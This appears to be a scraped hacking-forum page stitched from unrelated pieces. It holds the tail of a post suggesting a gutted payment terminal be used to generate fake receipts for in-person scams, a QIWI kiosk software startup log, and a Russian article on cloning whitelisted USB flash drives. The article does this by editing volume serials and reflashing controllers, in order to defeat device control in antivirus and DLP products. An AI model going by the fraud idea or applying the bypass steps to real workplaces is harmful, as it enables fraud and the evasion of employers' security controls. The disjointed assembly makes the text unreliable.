3) В качестве бреда- если купить терминал, вырезать всё оставив интерфейс и сделав ген чеков - можно скамить в ирл)
4)Майнер

1.png2.png3.png4.png
16:31:28 Run maratl.version(5.6.3.14). Process id : 10056
16:31:28 Cтарт программы(Версия 5.6.3.14)...
16:31:28 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:28 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:28 Поиск жестких дисков с функцией S.M.A.R.T.
16:31:28 Ошибка 1 при опросе диска 0.
16:31:29 Программы запускаемые при старте операционной системы уже были запущены shell.
16:31:29 Командная строка: "C:\Users\\Downloads\1\qiwi\maratl.exe" .
16:31:29 Очистка системы.
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Инициализация счетчиков интернет-трафика.
16:31:29 Информация о счетчиках интернет-трафика отсутствует.
16:31:29 Создание объекта-обработчика команд.
16:31:29 Создание sos.dll.
16:31:29 Создание ww.dll.
16:31:29 Версия операционной системы: Неизвестная версия.
16:31:29 Проверка и удаление старых файлов.
16:31:29 Время работы операционной системы 116 мин.
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Чтение конфигурационного файла.
16:31:29 Установка запрета запуска стандартного shell.
16:31:29 Командная строка "C:\Users\
\Downloads\1\maratl.exe"
16:31:29 Создание системного трея и сервисов shell.
16:31:29 Ошибка при регистрации окон системного трея.
16:31:29 Ошибка при запуске потока системного трея.
16:31:29 Программы запускаемые при старте операционной системы уже были запущены shell.
16:31:29 Конфигурационный файл не найден, запуск мастера конфигурации автомата.
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Ошибка открытия базы config/info.db3: SQLITE_CANTOPEN[14]: unable to open database file
16:31:29 Данные по сто процентным платежам удалены
16:31:54 Выбран язык приложения: Русский.
16:33:06 Вход в меню изменения параметров безопасности.
16:33:38 Изменены параметры безопасности.
16:33:38 Cнятие запрета вызова диспетчера задач и использования системных комбинаций клавиатуры.
16:33:38 Сохранение настроек параметров безопасности.
16:33:38 Установлена поддержка языковой версии интерфейса: Россия и денежных единиц для страны: Россия.
16:33:39 Получение информации о терминале.
16:33:39 Создание JS файла региональных параметров.
16:33:39 Сохранение JS файла региональных параметров.
16:33:39 Создание файла конфигурации интерфейса
16:33:39 Создание XML-файла конфигурации интерфейса
16:33:39 Проверка наличия базы номерных емкостей.
16:33:39 База номерных емкостей отсутствует. Создание базы по умолчанию.
16:33:39 Включено обновление номерных емкостей.
16:33:39 Создание файла описания рекламного контента.
16:33:39 Рекламных заданий не обнаружено.
16:33:39 Создание файла описания рекламного контента по умолчанию.
16:33:39 Создание файла описания рекламного контента.
16:33:39 Рекламных заданий не обнаружено.
16:33:39 Создание файла описания рекламного контента.
16:33:39 Рекламных заданий не обнаружено.
16:33:39 Сброс счетчиков дневного трафика.
16:33:39 Получение статистики по трафику интернет.
16:33:39 Ошибка загрузки плагинов: Не найден файл plc.data.
16:33:39 Приложение будет перезапущено: файл plc.data не найден
16:33:39 Ошибка доступа к таблице ActionVersions : SQLITE_ERROR[1]:
16:33:39 Включено обновление.
16:33:39 ID терминала: 43221
16:33:39 Обновление плагинов поставлено в очередь.
16:33:39 Поиск портов к которым подключен принтер, купюро/монетоприемник, сторожевой таймер, кардридер.
16:34:05 [KITINVEST]Ошибка Ошибка при выполнении запроса.Ошибка связи с устройством.При выполнении запроса Запрос статуса ККТ
16:34:39 Поиск портов завершен.
16:34:49 Сохранение конфигурации устройств.
16:34:49 Принтер не был найден.
16:34:49 Купюро/монетоприемник не был найден.
16:34:49 Сторожевой таймер не был найден.
16:34:49 Установлено ограничение макс. суммы платежа 0 руб.
16:34:49 Значение ширины чека не может быть менее 40 символов.
16:34:49 ID терминала: 43221
16:34:49 Запуск менеджера сообщений.
16:34:50 Версия браузера: IE 9.11.15063.0.
16:34:50 Версия Flash Player: 31.0.
16:34:51 Проверка сообщений.
16:34:51 Обновление сообщений для провайдеров.
16:34:51 Добавление записи в params.json
16:34:51 Ошибка чтения params.json
16:34:51 Успех params.json
16:34:51 Переход на страницу ошибки.
16:34:51 Переход на страницу ошибки.
16:34:51 Формирование запроса на чтение комиссий провайдеров.
16:34:51 Исходный размер 365 байт, cжатый размер 245 байт. Отправлен запрос серверу...
16:34:51 [transition] -> C:\Users\***\Downloads\1\site\error_html_ru.html
16:34:51 Включение блокировки правой кнопки мыши.
16:34:51 [iresp] ff.SupportPhone : Тел.:
16:34:53 Error: SSL certificate problem: unable to get local issuer certificate
16:34:53 Сертификат клиента не может быть аутентифицирован известными СА сертификатами.
16:34:53 Проверка SSL соединения
16:34:53 Проверка сертификатов (11856)
16:34:53 Cервер "unknown", получено 0 байт. Ошибка соединения по сети интернет: 60.
16:34:54 Error: SSL certificate problem: unable to get local issuer certificate
16:34:54 Ошибка проверки SSL соединения Сертификат клиента не может быть аутентифицирован известными СА сертификатами.
16:34:55 Error: SSL certificate problem: unable to get local issuer certificate
16:34:55 Ошибка при проверке сертификатов
16:35:11 Закрытие по команде пользователя(Alt-F4). Будет запущен explorer.
16:35:11 InfoTransaction.onStop
16:35:11 Завершение службы синхронизации времени.
16:35:11 Остановка менеджера сообщений.
16:35:11 Сохранение конфигурации.
16:35:11 Завершение программы.
16:35:11 Запуск стандартного shell.

Атака клонов. Ломаем защиту от подключения USB-флешек
ID: 676535aeb4103b69df37364f
Thread ID: 53253
Created: 2021-06-23T19:49:01+0000
Last Post: 2021-07-17T15:10:21+0000
Author: baykal
Prefix: Статья
Replies: 2 Views: 3K

Чтобы взломать чужую сеть, можно применить изощренные высокотехнологичные методы, а можно просто подбросить сотрудникам интересующей хакера компании флешку с «сюрпризом». В последние годы популярность этого способа понемногу падает, но он еще встречается [для проникновения в технологические сети промышленных предприятий](https://radiflow.com/wp- content/uploads/2019/06/Survey_ICS-2019_Radiflow.pdf). А какие существуют методы защиты от вредоносных флешек и как их можно обойти? Сейчас разберемся!
В этой статье мы рассмотрим, как устроена защита USB (Mass Storage Class — Removable Media) и как обмануть системы ограничения по белому списку устройств с помощью создания клонов. Звучит интересно? Хочешь натянуть современные средства защиты? Тогда добро пожаловать в мир увлекательных экспериментов!

КАК БЛОКИРУЮТ ФЛЕШКИ​

Зачем их блокировать? Чтобы ты не занес в ИТ‑инфраструктуру компании вирус‑шифровальщик, не таскал информацию домой и не приносил игрушки в офис. В разных конторах админы и безопасники действуют по‑разному. В самых печальных случаях порты физически отключаются, заливаются эпоксидкой или опечатываются. В случаях попроще порты отключаются через BIOS/UEFI (что‑то вроде USB Controller = Disabled).

Если админам ~~лень~~ жалко ломать железку, на помощь приходят настройки реестра и групповые политики винды. Например, для полной блокировки USB- носителей открой вот эту ветку реестра:

Code:Copy to clipboard

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR

Если ты выставишь у параметра Start значение 4, твои флешки перестанут подключаться. В групповых политиках (gpedit.msc) обычно смотрят в сторону оснастки «Конфигурации компьютера → Административные шаблоны → Система → Доступ к съемным запоминающим устройствам».

![Расположение на винде политики, связанной со съемными носителями](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20494%2Fimage1.jpg&hash=70a44a488fb4e1da115a4e72b148abc3)
Расположение на винде политики, связанной со съемными носителями

Существуют ли способы более изысканно и красиво ограничить подключение нежелательных носителей к компу? Компании побогаче используют дополнительные средства защиты информации (СЗИ) — тот же KAV (и иные антивирусы), DLP- системы, Secret Net (СЗИ от НСД) и прочие. Кто‑то даже устанавливает драйвер для проверки носителя по белому списку, кто‑то проверяет устройство в момент его монтирования.

Настройки СЗИ могут запретить подключение вообще всех устройств, только устройств из черного списка или разрешить подключение девайсов из белого списка. На последнем варианте мы с тобой и остановимся поподробнее.

А КАК ИХ РАЗЛИЧАЮТ?​

Как отличить одну флешку от другой? Понятное дело, что у флешек есть производитель, объем, другие параметры... Но обычно производители снабжают каждую флешку уникальным серийным номером, прописанным в ее прошивке.

Чтобы посмотреть его в винде, можешь использовать такую команду Windows Management Instrumentation — WMIC (предварительно подключив флешку):

Code:Copy to clipboard

wmic path win32_usbhub Where (Caption="Запоминающее устройство для USB") get DeviceID

Получаем примерно такой вывод команды:

Code:Copy to clipboard

DeviceID
USB\VID_13FE&PID_4200\070867948D560839

Полученный DeviceID содержит:

VID и PID используются операционкой для поиска дров. Полный список можно посмотреть, например, на сайте Linux USB.

По DeviceID флешка прописывается в реестре:

Code:Copy to clipboard

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\VID_13FE&PID_4200\070867948D560839

Также ты можешь получить всю эту информацию с помощью программы USBDeview.

![Пример вывода программы USBDeview](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20495%2Fimage2.jpg&hash=082a664f31b45e7daa6bfe6abc5fb939)
Пример вывода программы USBDeview

В некоторых, особо изысканных и нездоровых случаях в качестве идентификатора флешки применяется Volume Serial Number (VSN, он же так называемый серийный номер тома), который можно получить командой vol или dir.
![Вывод команд vol и dir](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20461%2Fimage3.png&hash=1bc613dd3acea8eef9f21af389537ed5)
Вывод команд vol и dir

Почему использовать VSN (в Linux он называется UUID) для идентификации флешек — идея не очень? Дело в том, что данные метки идентифицируют логические тома файловой системы. Чтобы изменить VSN случайным образом, достаточно отформатировать раздел. Понятно, что для жестких дисков это процедура сравнительно редкая, но флешки форматируют довольно‑таки часто.

Что делать с ноунеймом​

Для китайских noname-флешек, производители которых «кладут» на соответствие девайса всевозможным рекомендациям и стандартам, такой серийник будет меняться в зависимости от USB-порта, в который ты подключил устройство, и, разумеется, положения звезд на небе. Если твою флешку безопасники пропишут в белый список только на одном порте, то на другом ты ее использовать не сможешь.
Вот пример такой флешки:

Code:Copy to clipboard

DeviceID=USB\VID_23A9&PID_EF18\6&45CEA456&0&2

Первое, что бросается в глаза, — серийник содержит несколько амперсандов. На самом деле у этой флешки нет серийника вообще. Когда & — второй символ серийного номера, это означает, что система каждый раз при подключении генерирует псевдосерийник сама, то есть он динамический. Проверим это, просто подключив флешку в другой порт:

Code:Copy to clipboard

DeviceID USB\VID_23A9&PID_EF18\6&45CEA456&0&1

Как ты видишь, при изменении порта в серийнике меняется номер этого порта (&2 в конце превратилось в &1). Так что нужно или добавлять в список номер такой флешки на всех портах, или использовать только выделенный порт для ее подключения.

В некоторых СЗИ используют иные свойства флешек. Все доступные свойства ты можешь просмотреть, щелкнув на значке флешки правой клавишей мыши и выбрав в контекстном меню «Свойства → Оборудование → Сведения». В выпадающем списке наиболее полезные сведения содержатся в строках «Понятное имя», «Путь к экземпляру устройства» и «Родитель» (тот же DeviceID).

![Свойства устройства → Путь к экземпляру устройства](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20462%2Fimage4.png&hash=00c72b0d60f813483fb0bf42ae9ce159)
Свойства устройства → Путь к экземпляру устройства

У китайских флешек эти параметры меняются, как генератор случайных чисел. Например, путь к экземпляру устройства для первого и второго USB-порта выглядит так:

Code:Copy to clipboard

USBSTOR\DISK&VEN_AI&PROD_MASS_STORAGE&REV_\7&6266D645&0
USBSTOR\DISK&VEN_AI&PROD_MASS_STORAGE&REV_\7&977ABD2&0

Для нормальной флешки здорового человека данный идентификатор стабилен:

Code:Copy to clipboard

USBSTOR\DISK&VEN_JETFLASH&PROD_TRANSCEND_8GB&REV_1100\BBPIX7EB2VMBFI48&0

Здесь:

У разных флешек из одной партии меняться будет только серийник.

КАК ПАЛЯТ?​

Давай посмотрим, какими способами админы могут выявить, что к системе подключили флешку. В Windows имеется целый пул средств для отслеживания подключаемых носителей. Если хочешь поковыряться сам — смотри вот эти две ветки реестра:

Code:Copy to clipboard

HKLM\SYSTEM\CurrentControlSet\Enum\USB
HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR

Там хранится список идентификаторов подключаемых устройств, при этом информация в этих ветвях реестра не затирается стандартными процедурами в планировщике задач винды, то есть данные хранятся сколь угодно долго.

Если ты предпочитаешь готовые решения, то к твоим услугам классический USBLogView, который в реальном времени регистрирует подключение и отключение флешки. В форензике для комплексного анализа подключений рекомендуем посмотреть в сторону USB Detective и USB Forensic Tracker.

USB Detective извлекает информацию из реестра, логов, иных источников, а также может снимать информацию с Live-системы (в версии Pro), при этом выполняя корреляцию и верификацию данных.

USB Forensic Tracker извлекает все артефакты подключений независимо, поэтому для каждого источника данных ты имеешь свою таблицу подключений USB-устройств (корреляции, к сожалению, он не делает).

![Пример вывода программы USB Forensic Tracker](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20463%2Fimage5.png&hash=deed99c5ef9e0ac4469bd447635168a4)
Пример вывода программы USB Forensic Tracker

Например, просматривая данные по нашей китайской флешке, мы выяснили, что ее отображаемый серийник на первом порте — 388e987, на втором — 3с69e2с9. После форматирования они стали 4247e754 и 966cde2 соответственно.

Во внешних СЗИ имеются функции просмотра и блокирования подключенных флешек в реальном времени или на основе ранее подключенных устройств.

ПРАКТИЧЕСКИЙ ПОДХОД К СБИТИЮ ПАРАМЕТРОВ ФЛЕШЕК​

Часть 1. VSN (UUID)​

Если тебе повезло и в твоей организации блокируют флешки через VSN/UUID, то существует масса годных вариантов. Все представленные ниже кейсы не изменяют основные параметры флешки, такие как серийный номер и информация о модели. Однако помни, что иногда VSN применяется при лицензировании ПО и изменение VSN может повлиять на его работоспособность. Зато, научившись менять VSN, ты сможешь давать вторую жизнь лицензионным прогам, которые жалуются на смену жестких дисков и не хотят работать.

Манипуляции представлены для демонстрации. Применяя их, будь осторожен и внимателен, поскольку при некорректном подборе команд, программ, прошивок ты рискуешь окирпичить флешку, за что мы, конечно, ответственности не несем. Не стоит упоминать, что на тестируемых флешках не следует держать ценную инфу.

Вариант 1. Форматирование​

Данный вариант используется, когда активен только черный список флешек, поскольку форматирование меняет идентификатор раздела. Однако задать конкретный идентификатор в данном случае не получится.

Например, флешка с FAT32 до форматирования имеет VSN 4652-F858, а после быстрого форматирования — 76DA-6C78. Для NTFS ситуация в целом аналогична.

Как ты видишь, вариант предельно простой, но совершенно неконтролируемый. Это нам как‑то не очень подходит, попробуем менять параметры на избранные нами значения.

Вариант 2. Смена VSN через утилиты​

Существуют готовые утилиты для смены VSN, например VolumeID от компании Sysinternals или более приятная на вид графическая утилита [Volume Serial Number Changer](https://www.codeproject.com/Articles/5825/Changing- volume-s-serial-number). Во втором случае нужно просто запустить утилиту, выбрать метку диска, вбить новый идентификатор, нажать Change Serial number, вынуть‑вставить флешку, и все готово.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20464%2Fimage6.png&hash=ec779e59e8fa84d9f08fbe02fc8db51a)
![Работа с утилитой Volume Serial Number Changer и ее результат](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20465%2Fimage7.png&hash=abdf869caa52764224b0e24a44945b37)
Работа с утилитой Volume Serial Number Changer и ее результат

Вариант 3. Сделай сам​

Ты хочешь полностью познать дзен флешек? Не вопрос. Предварительно определись с файловой системой. Открой любой HEX-редактор и перетащи туда значок флешки из проводника. Для FAT32 VSN находится по смещению 0x43, для NTFS — на 0x48.

Проверим это.
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20466%2Fimage8.png&hash=098e3cde0bf0b04948ca9b8a1553808b)

![Исходный VSN устройства с файловой системой NTFS](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20467%2Fimage9.png&hash=f579924fb39262dfe19d2bdc80f6c70d)
Исходный VSN устройства с файловой системой NTFS

Нашелся серийник 6666-6666. Что ж, исправим его и сохраним результат. Помни, что порядок чтения байтов — справа налево (little endian).

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20468%2Fimage10.png&hash=80a649fd5680af9276b793131aafb9c1)
![Измененный VSN устройства с файловой системой NTFS](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20469%2Fimage11.png&hash=88355b327329d73523420e131d248c3f)
Измененный VSN устройства с файловой системой NTFS

Для FAT32 ситуация полностью аналогична.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20470%2Fimage12.png&hash=50fe82e704213c814a6e98f6936aa6f9)
![Измененный VSN устройства с файловой системой FAT](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20471%2Fimage13.png&hash=59b0f535541f4fe269ddd027dd0cd1cd)
Измененный VSN устройства с файловой системой FAT

Итак, теперь ты умеешь менять VSN (UUID). Но для по‑настоящему серьезных вещей и создания почти полноценного клона нужно еще немного углубиться в тему.

Часть 2. VID, PID, Serial​

Чтобы менять максимальное количество параметров, требуется перепрошить контроллер флешки. Процедура эта сравнительно несложная, но опасная — в случае ошибки ты рискуешь сделать флешку неработоспособной (однако ошибка чаще всего возникает при неудачном выборе прошивки или прошивальщика).

Представим, что у тебя есть исправная флешка (которая работает в офисе без проблем), а также ты приобрел другую флешку — потенциальный клон. Если ты купишь флешку точно той же модели, то при некоторых обстоятельствах сможешь обойти СЗИ, в которых идет проверка только по VID и PID.

На практике лучше найти флешки, которые легче всего перепрошивать, например фирмы Silicon Power или Transcend с USB 3.0 — в них часто используется SMI- контроллер. Хотя в целом тебе могут попасться флешки с контроллерами AlcorMP, Phison и другие. Для них тоже есть прошивки.

Общий алгоритм прошивки девайса следующий:

  1. Выясни тип идентификатора, который используется для определения флешки в СЗИ, или используемые составляющие на основе данных флешки (опционально), запиши их для последующей подделки.
  2. Определи контроллер флешки.
  3. Подбери утилиту для прошивки, подходящую под конкретную версию контроллера.
  4. В прошивальщике задай необходимые параметры, идентичные оригинальной флешке.
  5. Прошей флешку‑клон и проверь ее работу. В случае неудачной прошивки — повтори шаги, начиная со второго. Если флешка окирпичилась, поступай аналогично.

Шаг 1. Так случилось, что на первой протестированной нами машине стоял антивирус Comodo с возможностью контроля устройств. Недолго думая, включаем блокировку для USB и добавляем флешку‑оригинал в исключение. Антивирь любезно показывает нам используемый идентификатор флешки.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20472%2Fimage14.png&hash=1e039b587dca2c5977e457ad24659759)
![Контроль устройств антивируса Comodo](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20473%2Fimage15.png&hash=1539488d38c55d2dcc2404d3310752bb)
Контроль устройств антивируса Comodo

В свойствах оборудования находим, что эта строка соответствует опции «Путь к экземпляру устройства». Запишем идентификатор как целевое значение, которому наша флешка‑фейк должна соответствовать:

Code:Copy to clipboard

USBSTOR\DISK&VEN_&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0

На всякий случай запомним и DeviceID:

Code:Copy to clipboard

USB\VID_13FE&PID_4200\070867948D560839

Бывает, СЗИ напрямую не показывают идентификатор (угадай почему), а определяют только некоторые свойства подключенного устройства. В таких случаях идентификатор обычно складывается из видимых полей и свойств. Для нас это непринципиально, поскольку, подгоняя данные фейка под оригинал, мы задействуем те же самые данные и формируем такой же идентификатор.

Шаг 2. Для определения контроллера флешки‑фейка воспользуемся прогой ChipGenius (ее можно скачать с сайта USBDev. Кстати, рекомендуем сайт как наиболее полезный русскоязычный ресурс по прошивке флешек. Можно воспользоваться аналогом — Flash Drive Information Extractor. Интерфейс программ простой — вставил флешку, получил результат — см. иллюстрацию ниже.

![Результат выполнения программ определения контроллера](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20496%2Fimage16.jpg&hash=9729f64050722602fe9adcceb17671d1)
Результат выполнения программ определения контроллера

Сравни с выводом ChipGenius для нашего будущего фейка:

Итак, мы видим, что у нас контроллер семейства SMI (Silicon Motion) с номером SM3257ENBA. Теперь найдем прошивальщик для него!

Шаг 3. Хотя ChipGenius даже дает ссылку для прошивальщика, на сайте по этой ссылке все на китайском, поэтому проще скачать его с UsbDev. При этом обязательно в версии, поддерживающей наш контроллер SM3257ENBA. Для данного контроллера используются прошивальщики SMI MPTool и Dyna Mass Storage Production Tool. Нам больше по душе вторая (работает долго, но качественно и почти со всеми подвидами данных контроллеров). Находим нужную версию, качаем Dyna Mass Storage Production Tool, вставляем флешку‑фейк, запускаем прогу.

Шаг 4. Не пугайся, не все так сложно. Все прошивальщики имеют практически идентичный набор параметров, поэтому общие принципы и изменяемые параметры у всех схожи, независимо от бренда и модели контроллера. Убедись, что флешка появилась в программе.

![Обнаружение флешки в Dyna Mass Storage Production Tool](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20475%2Fimage17.png&hash=d71d7ec75f927084c7e3a5eee5d63f9c)
Обнаружение флешки в Dyna Mass Storage Production Tool

В правой части жми надпись Settings, ввод пароля пропускаем нажатием Enter (в некоторых утилитах он тоже есть, обычно легко гуглится на форумах), в качестве дефолтного конфига указываем файл в корне каталога прошивальщика — NDefault.INI.

Кстати, все эти операции могут восстановить твой любимый неисправный USB- гаджет путем перепрошивки с дефолтными значениями, главное — не накосячить с определением программы и контроллера. Ну а мы продолжаем. В появившемся окне переходим на вкладку DeviceConfig.

![Исходные параметры флешки в Dyna Mass Storage Production Tool](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20476%2Fimage18.png&hash=734b25312165d99fc624cd6799bf44ac)
Исходные параметры флешки в Dyna Mass Storage Production Tool

Менять здесь нужно совсем немного. В поле SN Method выбираем Static SN (иначе наш серийник будет пустой, как в noname-флешках). В данном случае мы задаем стойкий, как швейцарский банк, серийник, который не будет меняться от системы к системе.

В секции USB чуть ниже выставляем параметры, как у флешки‑оригинала:

Code:Copy to clipboard

VID → 13FE, PID → 4200, bdcDevice (номер ревизии) → PMAP

Имя производителя и продукта в нашем кейсе не используется, можем не менять. Однако в некоторых мажорных СЗИ они также применяются для формирования сигнатуры устройства. Если ты вообще не знаешь, какие параметры и куда вводить, то рекомендуем повторить шаги с первого и вот до этого места на флешке‑оригинале, скопировать все параметры в прошивальщик флешки‑фейка и продолжить чтение. Оригинал прошивать не нужно.

В поля SN Begin No., SN End No. и SN Mask забиваем серийник флешки‑оригинала: 070867948D560839.

Давай еще раз посмотрим на целевую строку:

Code:Copy to clipboard

USBSTOR\DISK&VEN_[пустой]&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0

Мы уже перенесли номер ревизии (PMAP) и серийник — цифровую часть в конце.

В секции Inquiry очищаем поле Vendor, в поле Product прописываем USB DISK 2.0. VID и PID мы поменяли, чтобы серийный номер (Device ID) был также идентичен оригиналу. В правом верхнем углу жмем Save и в главном окне нажимаем Start. Начинается перепрошивка флешки.

![Выставление параметров в Dyna Mass Storage Production Tool](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20477%2Fimage19.png&hash=6e3e3bb83d894b6475e7245714b1d64f)
Выставление параметров в Dyna Mass Storage Production Tool

В нашем случае глубокая перепрошивка занимает 35 минут. А при использовании SMI MPTool можно задействовать более быстрый способ перепрошивки, когда с контроллера считывается CID-регистр (Card Identification; открывается через меню Debug → Read CID\Write CID), в нем по аналогии с редактированием в HEX вручную прописываются нужные данные (но опять же нужно установить контрольные байты длины, не забывать вбивать значения справа налево и так далее, что неудобно).

![Параметры флешки в программе SMI MPTool](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20497%2Fimage20.jpg&hash=1f0809fa4d8e87771efa0c7ef6ad42bc)
Параметры флешки в программе SMI MPTool

Шаг 5. После успешной (мы надеемся) перепрошивки остается проверить нашу фейковую флешку и узнать, насколько она хороша. Посмотрим детали с помощью ChipGenius и выделим отличия от оригинала:

Теперь сравним DeviceID флешки‑оригинала, фейка до клонирования и фейка после прошивки.

![Проверка изменений на флешке- клоне](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20479%2Fimage21.png&hash=bed01bad9d5924cee4c88928b46159a8)
Проверка изменений на флешке‑клоне

Открыв свойства оборудования, проверяем путь к экземпляру‑клону:

Code:Copy to clipboard

USBSTOR\DISK&VEN_&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0

Целевой путь:

Code:Copy to clipboard

USBSTOR\DISK&VEN_&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0

Теперь вставляем фейк в тестовую машину с включенным белым списком для флешки‑оригинала.

![Отработка подключения флешки антивирусом Comodo](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20480%2Fimage22.png&hash=7c717e0df15dd5eea5afc05d5eb30981)
Отработка подключения флешки антивирусом Comodo

Сработало! Флешка открывается и работает. Пробуем подключить оригинальную флешку вместе с фейком — облом, происходит конфликт, поэтому работает только первая воткнутая флешка. Так что подключай их по одной.

Для полного соответствия копии оригиналу рекомендуем изменить остальные параметры, отформатировать фейк, дать ему метку оригинала. И не забудь изменить VSN — как это сделать, ты уже знаешь.

Давай проверим фейк на надежном антивирусе — например, Kaspersky Endpoint Security 10.

![Интерфейс контроля устройств Kaspersky Endpoint Security 10](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20482%2Fimage24.png&hash=3d01b3e3d7ac2ac535ad3c21c42bb378)
Интерфейс контроля устройств Kaspersky Endpoint Security 10

Смотрим, что используется в качестве идентификатора флешки‑оригинала.

![Идентификатор флешки в Kaspersky Endpoint Security 10](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20483%2Fimage25.png&hash=e279cb60ca65459a235552e80f3fa2d9)
Идентификатор флешки в Kaspersky Endpoint Security 10

Это путь к экземпляру устройства, добавляем его в белый список, проверяем на какой‑нибудь левой флешке.

![Сообщение о блокировке в Kaspersky Endpoint Security 10](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20484%2Fimage26.png&hash=edb4dbc5df0568289cf9d4a88fca0f1e)
Сообщение о блокировке в Kaspersky Endpoint Security 10

И вот тут мы словили хохму — флешка отображается в проводнике (особенность «Кошмарского»), проверяется антивирусом, но при попытке обратиться к ней получаем вот такое окно.

![Сообщение об отказе доступа к флешке](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20485%2Fimage27.png&hash=e203b8fd48ac0594757ef5a55d89f589)
Сообщение об отказе доступа к флешке

Но флешка‑фейк предсказуемо работает без каких‑либо проблем.

Схожим образом мы протестировали ряд коммерческих DLP-систем, СЗИ под Linux и нигде не встретили ни отпора, ни попыток воспрепятствовать атаке клонов.

И тут статью можно было бы закончить, но...

Часть 3. Извращения​

Совершенно случайно оказалось, что в зависимости от СЗИ можно использовать и дополнительные методы обхода USB-блокировок.

Дискетко​

Путем форматирования флешку можно превратить в классическую дискету с возможностью чтения и записи, объемом всего в 1,38 Мбайт. Хватит, чтобы потихоньку перетащить на работу игрушку? Разве что по частям в несколько заходов. Вот как это сделать. Берем новую флешку, действуем по знакомому алгоритму. В этот раз нам попалась флешка Transcend 8 Gb USB 3.0 с контроллером SMI SM3267AB (возьмем прошивальщик для него — SMI MPTool V2.5.51 v7 P0920v1). Итак, прошивальщик, окно Settings, вкладка Multi-Lun Settings.

![Форматирование флешки как дискеты](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20498%2Fimage28.jpg&hash=80f10a3acdbee2cb0acac1fb777c4e56)
Форматирование флешки как дискеты

Устанавливаем галки на Floppy и форматировании, прошиваем. Результат выглядит примерно так.

